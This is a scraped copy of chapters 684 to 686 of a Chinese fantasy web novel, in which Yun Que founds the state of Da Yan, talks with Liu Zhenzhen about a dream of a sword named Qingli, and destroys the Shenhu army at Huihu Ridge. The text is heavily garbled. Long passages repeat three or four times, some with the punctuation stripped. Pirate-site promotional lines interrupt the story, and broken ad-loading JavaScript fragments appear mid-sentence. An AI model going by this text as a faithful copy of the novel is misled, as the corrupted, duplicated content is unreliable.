田锺跟在队伍里一脸呆滞,时而扭头看向皇城方向,他此刻万般悔恨,刚才大家都赞同的时候,自己怎么就没退出呢? 现在好了,从大秦卧底到少年城,再从少年城卧底到大燕国,绝对是史上经验最充沛的卧底之一。 关键自己的底细人家少年王一清二楚,我这卧的是什么底呀,海底吗? 第684章 哪有人赏日的 十万人马乘坐传送阵的壮观景象出现在大秦各个城池。 当然这不是最惊人的最令人震惊的是 为首的小娃娃手里掐着圣旨每到一处大城都畅通无阻。 知道的这是少年王不知道的还以为太子驾到。 很快云缺离开了大秦地界十万少年修士直奔冒土国。 回大晋的路上正好经过冒土国云缺需要处理一件重要的事。 为大燕选国址。 冒土国名存实亡征战不断地底又是土人族的栖息之处最为合适当做大燕的立国之地。 来到最初土人族在地面修建的落脚地云缺惊讶的发现这里已经形成了很大的规模遍地是石头房子一群土人族汉子卖力的搬运石块修建新的石屋。 云缺骑着程药金先行一步落在地面。 见到外人出现土人族的战士们大声呼喝拿起刀剑长矛敌意十足。 为首的是个高大的土人族汉子黑塔一般凶神恶煞。 “阿猛!是我呀!” 云缺高兴的招手大喊。 阿猛挠了挠头道:“娃子?谁家娃子?” “去叫长老。” 云缺不废话了阿猛这家伙空有蛮力脑子不太灵光跟他解释浪费唾沫。 很快长老哈奇与壮汉酸菜纷纷赶来。 云缺一边招手一边用小脚踢着程药金示意对方往前走。 程药金一脸苦相他真成牛马了。 而且还是老牛马用踢的可不是老马么还不如说驾呢。 “长老是我啊!云缺你们国主回来了!” 酸菜直挠头尽管他比阿猛聪明得多但也无法想象眼前的小娃娃就是云缺。 “国主!国主在哪呢为何声音如此年轻?” 哈奇长老晃着脑袋四下寻找始终闭着眼睛。 云缺奇怪道: “长老能听出是我了?” “能!定是国主无疑就是看不到最近老眼昏花可能是太老了。”哈奇长老语气唏嘘的道。 长老瞎了。 云缺不由得叹了口气又觉得奇怪。 自己没走多久啊 哈奇长老一双狗眼精明着呢,怎么说瞎就瞎了。 “真是国主!酸菜拜见国主!” 酸菜带头,一群土人族纷纷跪拜,行的是三叩九拜的大礼,无比庄重,应该是跟长老学的,要不然这群蛮人不会。 “免礼平身!”云缺摆手道。 一群土人族还在朝拜…… 听不懂啥叫平身。 “行了,都起来罢!” 一群土人族这才纷纷起身,随后开始呜嗷乱叫,围着程药金跳舞。 程药金的眼睛更斜了,他才知道,原来这就是大燕国,真好,全是蛮子! 一想到自己以后要与这群连衣服都没有的蛮子朝夕相处,程药金就想死。 一些土人族的女人,见程药金膀大腰圆,纷纷表现出喜欢之情,上来一人摸一把,摸得程药金更想死了。 翠花抱着自家娃娃石头狂奔而来,见到云缺,直接把怀里的孩子都扔了,从程药金头上接过云缺,放在自己脖子上。 “大姐,石头哭呢。” “不管他,国主尊贵!”翠花兴高采烈。 没有云缺,他们一家岂能活到现在。 “这么快就适应了地面,土人族的体质果然很强,我就说咱们的家园在地面,这下你们信了吧。”云缺融入土人族,笑着道。 “信!国主说什么我们都信!”酸菜振臂高呼。 一群土人族纷纷大吼起来,声震云霄。 一边的程药金暗暗佩服,连这群蛮子都能收服,驸马好本事。 “酸菜,长老怎么回事,突然就瞎了呢。”云缺开始询问。 “长老是为了我们才变成这样的,长老是土人族的先驱。”酸菜神色悲壮的道。 云缺越听越奇怪,道: “长老做了什么?” 哈奇长老叹了口气,有点自豪的道:“谈不上先驱,我只是帮着族人们看太阳。” “看太阳?”云缺更奇怪了,道:“为啥要看太阳呢。” 哈奇长老解释道: “之前是我错了,总以为阳光是土人族的惩罚,我们无法生活在阳光下,后来酸菜带着一些年轻人走上地面,几天即可适应,随着越来越多的族人生活在阳光里,我决定替族人探索,直视太阳,既然阳光不 是惩罚那么我们土人族早晚可以拥有阳光。” 说着哈奇长老睁开老眼看向天空然后被阳光刺得老泪纵横。 如此举动有一种大贤的气势。 云缺被气得直翻白眼。 “行了行了!长老你可别看太阳了再看下去你就真瞎了。” 好一顿解释终于让哈奇长老知道了太阳不是用来看的这位土人族长老这才知道自己好心办错事差点把自己看瞎。 “实在喜欢就看月亮赏月嘛哪有人赏日的。” 云缺无奈道。 “原来如此是我太愚昧书看得太少了。”哈奇长老苦笑道。 “其实也不怪长老你太心急了只要不看太阳就行其他习惯慢慢来土人族生活在地底千年如今重返地面家园长老功不可没。”云缺道。 哈奇长老一听这话一张老脸笑成了花儿。 云缺一指程药金介绍道:“这位以后就是我们大燕的将军了封号嘛就叫土人将军!” 程药金已经麻木了不过听到这么敷衍的封号还是哆嗦了一下。 土人族土人将军……咱就不能换个词儿要这么随便吗。 酸菜阿猛等人又是一顿庆贺围着程药金转圈跳舞。 国主归来大家高兴不已酸菜和翠花要去准备吃的直接被云缺拒绝。 这边的食物实在吃不惯不是虫子就是糖沙吃多了脑子会坏掉。 “酸菜召集十万土人族战士 云缺一声令下十万最强壮的土人族战士很快汇聚而来。 这时少年城的兵马也到了。 得知土人族是兄弟柳真真史得侩等人很是高兴武夫就喜欢能打的。 史得侩兴致大起与阿猛以摔跤的形式比拼力气。 两人的打斗引来阵阵叫好声。 简短的熟悉过后云缺不再耽搁一声令下二十万大军直奔冒土国皇城杀去。 大燕第一战云缺要用来练兵。 因为冒土国有着一个最佳对手。 与九夷人有着牵连的神狐军! 注册本站会员可以解锁更多福利,快试试吧 是惩罚,那么我们土人族早晚可以拥有阳光。” 说着哈奇长老睁开老眼,看向天空,然后被阳光刺得老泪纵横。 如此举动,有一种大贤的气势。 云缺被气得直翻白眼。 “行了行了!长老你可别看太阳了,再看下去,你就真瞎了。” 好一顿解释,终于让哈奇长老知道了太阳不是用来看的,这位土人族长老这才知道自己好心办错事,差点把自己看瞎。 “实在喜欢就看月亮,赏月嘛,哪有人赏日的。” 云缺无奈道。 “原来如此,是我太愚昧,书看得太少了。”哈奇长老苦笑道。 “其实也不怪长老,你太心急了,只要不看太阳就行,其他习惯慢慢来,土人族生活在地底千年,如今重返地面家园,长老功不可没。”云缺道。 哈奇长老一听这话,一张老脸笑成了花儿。 云缺一指程药金,介绍道:“这位以后就是我们大燕的将军了,封号嘛,就叫土人将军!” 程药金已经麻木了,不过听到这么敷衍的封号,还是哆嗦了一下。 土人族,土人将军……咱就不能换个词儿,要这么随便吗。 酸菜阿猛等人又是一顿庆贺,围着程药金转圈跳舞。 国主归来,大家高兴不已,酸菜和翠花要去准备吃的,直接被云缺拒绝。 这边的食物,实在吃不惯,不是虫子就是糖沙,吃多了脑子会坏掉。 “酸菜,召集十万土人族战士,随我出征!” 云缺一声令下,十万最强壮的土人族战士很快汇聚而来。 这时少年城的兵马也到了。 得知土人族是兄弟,柳真真史得侩等人很是高兴,武夫就喜欢能打的。 史得侩兴致大起,与阿猛以摔跤的形式比拼力气。 两人的打斗引来阵阵叫好声。 简短的熟悉过后,云缺不再耽搁,一声令下,二十万大军直奔冒土国皇城杀去。 大燕第一战,云缺要用来练兵。 因为冒土国有着一个最佳对手。 与九夷人有着牵连的神狐军! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 是惩罚,那么我们土人族早晚可以拥有阳光。 说着哈奇长老睁开老眼,看向天空,然后被阳光刺得老泪纵横。 如此举动,有一种大贤的气势。 云缺被气得直翻白眼。 “行了行了!长老你可别看太阳了,再看下去,你就真瞎了。 好一顿解释,终于让哈奇长老知道了太阳不是用来看的,这位土人族长老这才知道自己好心办错事,差点把自己看瞎。 “实在喜欢就看月亮,赏月嘛,哪有人赏日的。 云缺无奈道。 “原来如此,是我太愚昧,书看得太少了。哈奇长老苦笑道。 “其实也不怪长老,你太心急了,只要不看太阳就行,其他习惯慢慢来,土人族生活在地底千年,如今重返地面家园,长老功不可没。云缺道。 哈奇长老一听这话,一张老脸笑成了花儿。 云缺一指程药金,介绍道:“这位以后就是我们大燕的将军了,封号嘛,就叫土人将军! 程药金已经麻木了,不过听到这么敷衍的封号,还是哆嗦了一下。 土人族,土人将军……咱就不能换个词儿,要这么随便吗。 酸菜阿猛等人又是一顿庆贺,围着程药金转圈跳舞。 国主归来,大家高兴不已,酸菜和翠花要去准备吃的,直接被云缺拒绝。 这边的食物,实在吃不惯,不是虫子就是糖沙,吃多了脑子会坏掉。 “酸菜,召集十万土人族战士,随我出征! 云缺一声令下,十万最强壮的土人族战士很快汇聚而来。 这时少年城的兵马也到了。 得知土人族是兄弟,柳真真史得侩等人很是高兴,武夫就喜欢能打的。 史得侩兴致大起,与阿猛以摔跤的形式比拼力气。 两人的打斗引来阵阵叫好声。 简短的熟悉过后,云缺不再耽搁,一声令下,二十万大军直奔冒土国皇城杀去。 大燕第一战,云缺要用来练兵。 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恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第685章 什么时候娶我 冒土国皇城十分简陋,城里的百姓倒是不少。 国主冒盛这些日子过得心惊胆战,自从上次云缺来访,他这个代理国主就知道大势已去,自己被夹在云缺与神狐军中间,一旦选择错误,小命不保。 纠结着站哪边的冒盛,当看到云缺再次出现,并且带来了二十万大军之后,直接做出了最正确的选择。 “恭迎陛下还朝!陛下万岁万岁万万岁!” 冒盛带头跪迎,虔诚得犹如最忠心的臣子。 其他大臣哪敢怠慢,纷纷叩首。 随后出现了奇怪的一幕。 小娃娃状态的云缺,坐在了高大的龙椅之上,坐着不舒服,后来改为站在龙椅上,这样显得多点气势。 “都听好了!从今天起,此地改为燕城,冒土国改为大燕国!” 云缺一来就改朝换代。 无人不服,纷纷叩首。 外面二十万大军虎视眈眈,谁敢反对,而且还不是普通大军,一半全是少年修士,另一半全是蛮族战士,随便挑一个出来都能暴打皇宫里这群文武百官。 常威和瞎子站在龙椅左右,那叫一个趾高气昂。 身为山匪,就喜欢这种豪迈之言,上来就立国,谁不服就打到服气! “冒盛听令,封你为大燕副丞相,长老哈奇为丞相,我不在的时候,你听从哈奇长老调令。” 云缺下了第一道圣旨。 冒盛急忙拜谢,兴高采烈的领旨。 代理国主而已,朝不保夕,就是个傀儡,哪有副丞相来得实在。 这可是实打实的元老! “其他人……” 云缺看了看一群陌生面孔,懒得分派了,道: “该什么官儿还是什么官儿,不过丑话说在前边,既然此地为燕国,就要有燕国的规矩,民不聊生我看不惯,这里地域辽阔,百姓却没多少,今后你们的任务就是重振大燕,将燕国打造为百姓安居之地。” “捞点油水无所谓,若是坑害忠良,残害百姓,有一个算一个,凌迟处死!” 别看国主身材不大,是个娃娃,但语气森冷,煞气惊人。 一众百官纷纷跪拜,口称不敢。 冒土国虽然名存实亡,但不乏忠臣,很多人心里泛起了强烈 的希望。 明主来临正是群臣一展宏图的机会! 冒盛脸色发苦的道: “陛下我们大燕其实不错盛产黑铁矿很多土地都适合种植庄稼就因为战火四起才落到如今地步 “放心过两天就没有什么神狐军了。”云缺一声冷笑下令道:“休整一日明日出征。” 清缴神狐军云缺还有一层目的。 九夷人的武神炮! 神狐军可以看做九夷人的爪牙常年在冒土国收刮黑铁矿也许老巢里有着不少武神炮。 若能带着大批武神炮返回大晋云缺这边就更有把握了。 大军驻扎在皇城。 云缺带着常威瞎子柳真真史得侩哈奇长老和酸菜等人在城里转了转。 酸菜第一次进城看什么都觉得新奇看到个卖糖葫芦的就走不动路了直勾勾盯着。 “想给石头带一个尝尝?”云缺道。 酸菜拼命点头。 云缺直接把摊位给买了下来酸菜扛着插满糖葫芦的草靶子神采飞扬大嘴笑得合不拢。 云缺无奈的摇了摇头。 这座简陋的皇城几乎连城墙都没有说白了就是个大镇子而已如果到了天龙城与天祈城酸菜怕不得被惊呆。 简陋点也好至少土人族能很快习惯天龙城那种繁华之地土人族未必能融入进去。 街上挺热闹人来人往。 许多店铺挂上了红灯笼庆祝着新皇来临。 城里的百姓都知道了大燕立国至于皇帝没人见过更没人觉得身边经过的小娃娃会是新国主。 一行人吃了顿热热闹闹的晚饭云缺让众人各自找地方休息自己一个人来到土制的城墙上。 今晚星光满天夜空格外漂亮。 云缺的脸色却没有丝毫笑容反而眉宇间藏着一份疑惑。 坐在城墙上云缺拿出几个储物袋。 天龙城一战的战利品均为生肖高手之物里面全是好东西灵石无数灵丹大把法器法宝数不胜数。 但云缺只是看了一眼便失去了兴趣。 收起储物袋,云缺望着夜空发呆。 “可怜虫…… 云缺喃喃自语:“我是可怜虫?为什么说我不知道仇人是谁…… 云缺的烦恼,来自魔佛。 螳螂捕蝉黄雀在后的说法,云缺虽然无法完全想通,但有所猜测,应该指的是当年的那些超品强者。 当年的超品大战,必定有着复杂的起因。 云缺看不清当年真相,毕竟千年前的事,当做一场隐秘慢慢摸索也好,随着自身强大,早晚有一天会揭开超品之战的神秘面纱。 令云缺疑惑不解的是,魔佛为何说自己是可怜虫。 我可怜么? 就算可怜,也用不着称之为可怜虫吧。 难道是说我变成了娃娃状态,像个虫子? 不对…… 魔佛一定有所暗指。 那家伙肯定知道些什么,或者从我身上看到了某种因果…… 云缺锁紧小小的眉头,一个人陷入冥思苦想。 从春梅见到自己后的态度转变,到最后的螳螂捕蝉之说,始终让云缺觉得不大舒服,犹如身在迷雾,看不到方向。 身后忽然伸过来两只手,将云缺一下子抱在怀里。 感受着后背处的绵软,云缺立刻猜到是谁,回头一瞧,果然是柳真真。 “谁家娃娃大半夜不睡觉,小心揍辟股! 柳真真抱着云缺不撒手,笑呵呵的道。 “睡不着,出来吹吹风,放开我,让人看到多不好,还以为你个姑娘家家这么年轻就生孩子了。 “生就生,能怎样!我愿意给你生孩子! “呃……最近有点忙……云缺心虚道。 “我知道你在天龙城都成亲了,娶了宁玉公主,下一个该娶我了。柳真真严肃的道。 “有机会再说,你又不急着嫁人,堂堂少年城的城主,应当以修炼为重,争取早日冲击四品!云缺敷衍道。 “好!说好了啊,等我进阶四品破军,你就得娶我!柳真真意气风发的道。 “行,等你破军咱们就成亲。云缺敷衍道。 “你发誓,如果你不娶我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这辈子就不再碰任何女人!柳真 真很认真的道。 “不至于发这种毒誓吧,后果太严重了。”云缺尴尬道。 “逗你呢!你是少年王,怎么能看得上我,我配不上你。”柳真真的语气带着一丝悲伤,手里却抱得更紧,轻声道:“让我多抱一会儿,以后可能再也抱不到了……” 柳真真低着头,长发将云缺笼罩。 两个人坐在土墙上,沉默了下来。 云缺觉得头上有些凉丝丝,抬起小手抹了下,哦,是一滴眼泪。 柳真真的眼泪。 堂堂少年城的城主,行事爽快女中豪杰,大口吃肉大碗喝酒,可没人知道她也有如此黯然垂泪的时候。 感受着头顶不断落下的泪珠儿,云缺叹了口气。 落下的不是眼泪,又是一张红尘之网。 我又不是鱼,为什么逃不出这张破网呢? 鱼死网破? 那不行,咱这辈子最恨的就是和尚。 拍了拍柳真真冰凉的小手,云缺道: “别哭了,我又没说不娶。” “真的?” “君无戏言,我可是燕王,后宫太冷清多让人笑话。” “我帮你看着后宫!哪个宾妃敢挑拨是非,我就宰了她!” “别宰呀!好歹都是我媳妇,大家和睦相处不行吗。” “哦,那听你的!夫唱妇随!” “这才对嘛,你说,什么样的人,会被称之为可怜虫呢。” “打不过别人,就是可怜虫。” 柳真真的看法十分简单,为人也十分单纯,她眼里的可怜虫,只以武力区分。 “如果打得过,就不是可怜虫了……” 云缺呢喃着打了个哈欠,困意袭来。 身体变小,体质也随之变成了娃娃状态,一天下来困得不行,卷缩在柳真真怀里沉沉睡去。 柳真真一动不动的坐在土墙上,生怕惊醒了云缺,抱得紧紧的。 这一晚,云缺再次罕见的做梦了。 梦境里,云缺面对着数之不尽的敌人,四面八方全是强敌,自己孤军奋战。 斩杀一个,又会冲来一个敌人。 放倒一片,接着涌来更多强敌。 云缺记不得自己杀了多少敌人,越杀越愤怒,越杀越疯狂,直至彻底杀红了眼。 没有任何帮手,至始至终,只有云缺自己在作战。 可怜么? 不! 一个人又如何,只要杀光所有敌人,我就不是可怜虫! 梦境里的云缺,爆发出妖化状态。 大片的敌人被摧毁,被碾碎,天地一片血色! 终于,敌人的数量开始减少。 从成千上万,到千百人,到十余人,到三五人。 直到最后一个敌人被拦腰斩断,妖化的云缺在梦境里仰天嘶吼,散发着心头的杀意。 吼声,戛然而止。 一道贯穿心脉的伤口,出现在心窝。 望着地面上自己的血迹,梦境里的云缺踉跄倒地。 原来,我是可怜虫…… 云缺想要回头,看看偷袭自己的究竟是谁,可对方的容貌模糊不堪,怎么也看不出真相。 第686章 青璃是谁 清晨, 云缺从梦境中惊醒。 身体再次长大一些,成了两岁左右。 “做噩梦了,是吗。柳真真柔声道。 “是啊,可能最近杀伐太重,梦里也在杀伐,无妨,梦而已,都是假的。云缺跳出柳真真的怀抱,抻了个懒腰,精神奕奕。 柳真真站起身,傲然的身材在朝阳下显得格外动人。 “你说梦话了,喊一个人的名字,我想,她一定是你最爱的人。柳真真有些吃醋的道,不过很快展颜一笑:“我不在乎!只要能嫁给你就好! “城主大度!哎对了,我喊谁的名字了?云缺道。 “你喊的是,青……柳真真说出一个字就被云缺打断。 “青瑶!大晋女帝,我这辈子第一个娶的女人,也是最爱的女人。云缺道。 对于牧青瑶的感情,云缺可以说绝对的真挚,提及爱妻,云缺不由得生出期盼,恨不得立刻飞回大晋。 “不,不是青瑶。柳真真摇头道。 “嗯?我喊的不是青瑶?那我喊的是谁? 这可是怪事。 梦境里喊自己媳妇名字,正常不过,即便喊其他美人的名字也算常见。 毕竟与云缺有过交集的美人,实在有点多,穹音穹舞,赢霏雨柳真真,国师凌妙清,都是天下间一等一的美女。 可是这些人当中,除了牧青瑶,别人名字里可没有‘青’这个字。 “你喊的是,青璃。柳真真道。 “青璃?谁呀她是?我不认得这名字啊? 云缺莫名其妙,怎么自己做梦喊出个陌生的名字出来。 牧青瑶可没有叫牧青璃的姐妹,只有个哥哥,外加个同父异母的弟弟。 难不成是清理? 清理妖邪? 柳真真能确定名字的发音,但具体是不是青璃两个字,她无法确定。 “梦里胡言乱语而已,我这个人不太适合做梦,走了,杀妖去! 清晨时分,大军开拔,朝着灰狐岭的方向进发。 路上,云缺以神魂沟通识海。 “姐,我昨晚做梦了。 “我知道,你昨晚的元神出现了奇怪的躁动。 “躁动?” “对躁动或者说燃烧很可怕的状态你从小到大我都在这里从未见过那种样子的元神。” “不是吧我就做了个梦而已。” “你梦到了什么?” “厮杀呗我的梦肯定简单梦境里全是敌人后来都被我杀光结果被人偷袭捅了一刀然后就醒了。” “我觉得这场梦不正常。” “我也觉得怎么喊出个陌生的名字姐啊你昨晚听清楚没有我喊的是不是青璃。” “是听得真真切切就是青璃这两个字。” “我为什么要喊青璃呢要喊也应该喊青瑶吧 说全网首发无弹窗免费阅读qiexs?(请来企鹅小 说 看最新章节 完整章节)这也差得太多了我又不认得青璃是谁啊姐你认得叫青璃的人吗。” “不认得但我知道是谁。” “谁!快告诉我。” “是一把剑万妖国之主的宝刃青璃剑我父王曾经说起过万妖国之主的宝刃极其可怕可号令群妖。” “青璃剑?跟我有什么关系我怎么会说梦话说出一把剑的名字?” “未必跟你没关系既然青璃剑是天下至宝一定有着某种神异之处或许你与青璃剑之间有着某种关联或者因果。” “因果……” 云缺从识海中退出神魂默默发呆。 与一人有因果还有情可原没听过与一把剑有因果的。 难道又是因果律? 云缺一路上绞尽脑汁思索着从大晋出发以来发生的所有细节最后可以确定自己绝对没与武器有何牵连之处。 如果说有因果的武器恐怕只有武威王的白龙剑了毕竟那把剑是老剑圣的而自己又吃了老剑圣留下的龙凤丹。 除此之外云缺实在想不出还有其他情况。 “青璃剑万妖国……等救出母亲看来得走一趟了。” 云缺打定心思。 即便没有昨晚的奇怪梦境云缺也决定去万妖国因为星辰殿与万妖国牵连颇深。 天龙城大劫万妖国一次派来三头妖王强者这份关系可不简单。 当晚大军抵达灰狐岭。 灰狐岭是一片山脉栖息着狐妖一族同时也是十万神狐军的驻扎之地。 察觉到大军来临,灰狐岭的山林间冒出无数灰狐,全是妖物,等阶不同,纷纷仰天嘶吼。 很快一队人马从山后绕了出来,为首之人四十多岁,细高个子,刀条子脸,目光凶悍。 “诸位停步!此地灰狐岭,不知诸位来此何意!”刀条子脸高声断喝。 “来杀个人!能不能行个方便,杀完我们就走!”云缺骑在程药金脖子上高声道。 见是个娃娃搭话,刀条子脸现出鄙夷之色,碍于对方来的人马太多,他没表现出不耐,高声道: “灰狐岭驻扎着十万神狐军,不是什么人都能杀的。” 刀条子脸一摆手,他手下立刻发出狼啸般的声音。 呼啦啦! 越来越多的神狐军汇聚而来,这些军兵骑乘在高大的灰狐背上,如同潮水般席卷而至,气势惊人。 刚被封为副丞相的冒盛也随军前来,急忙给云缺解释道: “陛下,为首之人就是大将军狐围!十万神狐军,其实可以称之为十万悍匪,全是杀人不眨眼的狠人,他们每到一处必定杀光屠净,从来不留活口!” 狐围的目力极强,一眼看到冒盛,顿时脸色一沉,大喝道: “冒盛!你居然敢串通外人!你活腻了是不是!” 冒盛被吓一哆嗦,强撑镇定道:“什、什么外人!这位是我们大燕国主!休、休得无礼!” “大燕国主?” 狐围目露寒光道:“小娃娃,你到底是谁,我们井水不犯河水,惹怒了我,让你们有来无回!” “不会不会,我怎么敢招惹冒土国的大将军,我说了只来杀一个人,只要杀掉他,我们立马就走!”云缺笑呵呵的道。 狐围看了眼云缺身后杀气腾腾的大军,暗自盘算了一下,觉得直接开战不划算,对方明显兵强马壮,高手甚多,拼个两败俱伤,自己没什么便宜可占。 “好!就当交个朋友,你想杀谁,说出来,我把人给你就是了!”狐围道。 “大将军果然痛快!我要杀的人,就是你啊。”云缺笑着挥动小手,下令道:“杀!一个不留!” 史得侩与阿猛同时嗷呜一声大吼,犹如两头熊似的冲了出去,其他人被甩出老远。 灰狐岭,上演了一幕大战。 从黄昏时分杀到了天明,尸横遍野,血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下,十万神狐军尽数被灭,人死绝,狐妖也死绝。 狐围被柳真真与史得侩联手击杀,惨死山下。 神狐军听着威武霸气,实际上高手并不多,大多是没什么修为的山匪,纠集在一起,靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌,遇到完全由修士组成的大军,根本抵挡不住。 少年修士们在这一战展现了可观的战力,蛮族战士更是悍勇,这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手,抱着膀子站在云缺旁边看戏。 对于三品归真来说,如此程度的战斗,也就看个热闹,连动手的兴趣都没有。 云缺也没兴趣动手,一直坐在程药金脖子上想心事。 我怎么就成可怜虫了呢? 我哪里可怜呢? 后来云缺想通了,自己一定太穷了,穷得可怜! 以后还是得多搂钱呐,钱多了,自然就不可怜了。 云缺就喜欢听别说人自己,你真是钱多得可怜,你除了钱一无所有,你家穷得只剩下钱了! 见战场差不多了,云缺踹了脚程药金,开始收集战利品。 神狐军的老巢在一座山脚,修建着大寨,云缺在附近的山洞里发现了一匹火炮。 共有数百门,形态比普通火炮大出数倍,居然全是武神炮! 比起金银之类的财物,这些武神炮才是宝贝,被云缺一口气收刮干净,命人全部架在了云雁背上。 正好架满。 武神炮有了,可惜没有炮弹。 以云缺猜测,狐围收刮的黑铁矿,全部用来打造成武神炮,然后秘密送去邵武国,交给九夷人。 灰狐岭,就是一处打造火炮的据点。 捣毁了灰狐岭,九夷人的武神炮相当于断了供给。 虽然九夷城的城主申猴死掉,但云缺对九夷人并未掉以轻心。 既然是一族,一定还有其他强者存在,九夷人在云州经营多年,岂能只有九笤原这一条血脉。 其实真正让云缺忌惮的,是星辰殿的主人。 为何别人无法沟通殿主,偏偏九笤原可以,会不会星辰殿的殿主与九夷人之间有着某种关联。 这个猜测,一直是云缺心里的一根刺。 灰狐岭覆灭后,云缺带着一批顶尖的高手乘坐云雁,先赶回大晋,其他人速度没那么快,跟随即可。 这次没用土人族,云缺让酸菜将土人族带回去修建家园。 土人族没有飞行法器,走路去大晋不知要何年何月才能到。 十万少年军足够了。 云雁破空而行,还没飞出冒土国地界,云缺就听到后面传来女童的清脆喊声。 “等等!大鸟等等!捎我一程呀!” 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 从黄昏时分杀到了天明,尸横遍野,血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下,十万神狐军尽数被灭,人死绝,狐妖也死绝。 狐围被柳真真与史得侩联手击杀,惨死山下。 神狐军听着威武霸气,实际上高手并不多,大多是没什么修为的山匪,纠集在一起,靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌,遇到完全由修士组成的大军,根本抵挡不住。 少年修士们在这一战展现了可观的战力,蛮族战士更是悍勇,这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手,抱着膀子站在云缺旁边看戏。 对于三品归真来说,如此程度的战斗,也就看个热闹,连动手的兴趣都没有。 云缺也没兴趣动手,一直坐在程药金脖子上想心事。 我怎么就成可怜虫了呢? 我哪里可怜呢? 后来云缺想通了,自己一定太穷了,穷得可怜! 以后还是得多搂钱呐,钱多了,自然就不可怜了。 云缺就喜欢听别说人自己,你真是钱多得可怜,你除了钱一无所有,你家穷得只剩下钱了! 见战场差不多了,云缺踹了脚程药金,开始收集战利品。 神狐军的老巢在一座山脚,修建着大寨,云缺在附近的山洞里发现了一匹火炮。 共有数百门,形态比普通火炮大出数倍,居然全是武神炮! 比起金银之类的财物,这些武神炮才是宝贝,被云缺一口气收刮干净,命人全部架在了云雁背上。 正好架满。 武神炮有了,可惜没有炮弹。 以云缺猜测,狐围收刮的黑铁矿,全部用来打造成武神炮,然后秘密送去邵武国,交给九夷人。 灰狐岭,就是一处打造火炮的据点。 捣毁了灰狐岭,九夷人的武神炮相当于断了供给。 虽然九夷城的城主申猴死掉,但云缺对九夷人并未掉以轻心。 既然是一族,一定还有其他强者存在,九夷人在云州经营多年,岂能只有九笤原这一条血脉。 其实真正让云缺忌惮的,是星辰殿的主人。 为何别人无法沟通殿主,偏偏九笤原可以,会不会星辰殿的殿主与九夷人之间有着某种关联。 这个猜测,一直是云缺心里的一根刺。 灰狐岭覆灭后,云缺带着一批顶尖的高手乘坐云雁,先赶回大晋,其他人速度没那么快,跟随即可。 这次没用土人族,云缺让酸菜将土人族带回去修建家园。 土人族没有飞行法器,走路去大晋不知要何年何月才能到。 十万少年军足够了。 云雁破空而行,还没飞出冒土国地界,云缺就听到后面传来女童的清脆喊声。 “等等!大鸟等等!捎我一程呀! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 从黄昏时分杀到了天明尸横遍野血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下十万神狐军尽数被灭人死绝狐妖也死绝。 狐围被柳真真与史得侩联手击杀惨死山下。 神狐军听着威武霸气实际上高手并不多大多是没什么修为的山匪纠集在一起靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌遇到完全由修士组成的大军根本抵挡不住。 少年修士们在这一战展现了可观的战力蛮族战士更是悍勇这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手抱着膀子站在云缺旁边看戏。 对于三品归真来说如此程度的战斗也就看个热闹连动手的兴趣都没有。 云缺也没兴趣动手一直坐在程药金脖子上想心事。 我怎么就成可怜虫了呢? 我哪里可怜呢? 后来云缺想通了自己一定太穷了穷得可怜! 以后还是得多搂钱呐钱多了自然就不可怜了。 云缺就喜欢听别说人自己你真是钱多得可怜你除了钱一无所有你家穷得只剩下钱了! 见战场差不多了云缺踹了脚程药金开始收集战利品。 神狐军的老巢在一座山脚修建着大寨云缺在附近的山洞里发现了一匹火炮。 共有数百门 比起金银之类的财物这些武神炮才是宝贝被云缺一口气收刮干净命人全部架在了云雁背上。 正好架满。 武神炮有了可惜没有炮弹。 以云缺猜测狐围收刮的黑铁矿全部用来打造成武神炮然后秘密送去邵武国交给九夷人。 灰狐岭就是一处打造火炮的据点。 捣毁了灰狐岭九夷人的武神炮相当于断了供给。 虽然九夷城的城主申猴死掉但云缺对九夷人并未掉以轻心。 既然是一族一定还有其他强者存在九夷人在云州经营多年岂能只有九笤原这一条血脉。 其实真正让云缺忌惮的是星辰殿的主人。 为何别人无法沟通殿主偏偏九笤原可以会不会星辰殿的殿主与九夷人之间有着某种关联。 这个猜测一直是云缺心里的一根刺。 灰狐岭覆灭后云缺带着一批顶尖的高手乘坐云雁先赶回大晋其他人速度没那么快跟随即可。 这次没用土人族云缺让酸菜将土人族带回去修建家园。 土人族没有飞行法器走路去大晋不知要何年何月才能到。 十万少年军足够了。 云雁破空而行还没飞出冒土国地界云缺就听到后面传来女童的清脆喊声。 “等等!大鸟等等!捎我一程呀!” 你的朋友正在书荒,快去帮帮他吧 从黄昏时分杀到了天明,尸横遍野,血流成河。 在少年城的少年修士与土人族战士的联手冲锋之下,十万神狐军尽数被灭,人死绝,狐妖也死绝。 狐围被柳真真与史得侩联手击杀,惨死山下。 神狐军听着威武霸气,实际上高手并不多,大多是没什么修为的山匪,纠集在一起,靠着灰狐岭的狐妖撑场面。 神狐军在兵荒马乱的冒土国可以横行无忌,遇到完全由修士组成的大军,根本抵挡不住。 少年修士们在这一战展现了可观的战力,蛮族战士更是悍勇,这两股力量足以轻易绞杀神狐军。 寒刀这位三品武夫至始至终都没出手,抱着膀子站在云缺旁边看戏。 对于三品归真来说,如此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程度的战斗,也就看个热闹,连动手的兴趣都没有。 云缺也没兴趣动手,一直坐在程药金脖子上想心事。 我怎么就成可怜虫了呢? 我哪里可怜呢? 后来云缺想通了,自己一定太穷了,穷得可怜! 以后还是得多搂钱呐,钱多了,自然就不可怜了。 云缺就喜欢听别说人自己,你真是钱多得可怜,你除了钱一无所有,你家穷得只剩下钱了! 见战场差不多了,云缺踹了脚程药金,开始收集战利品。 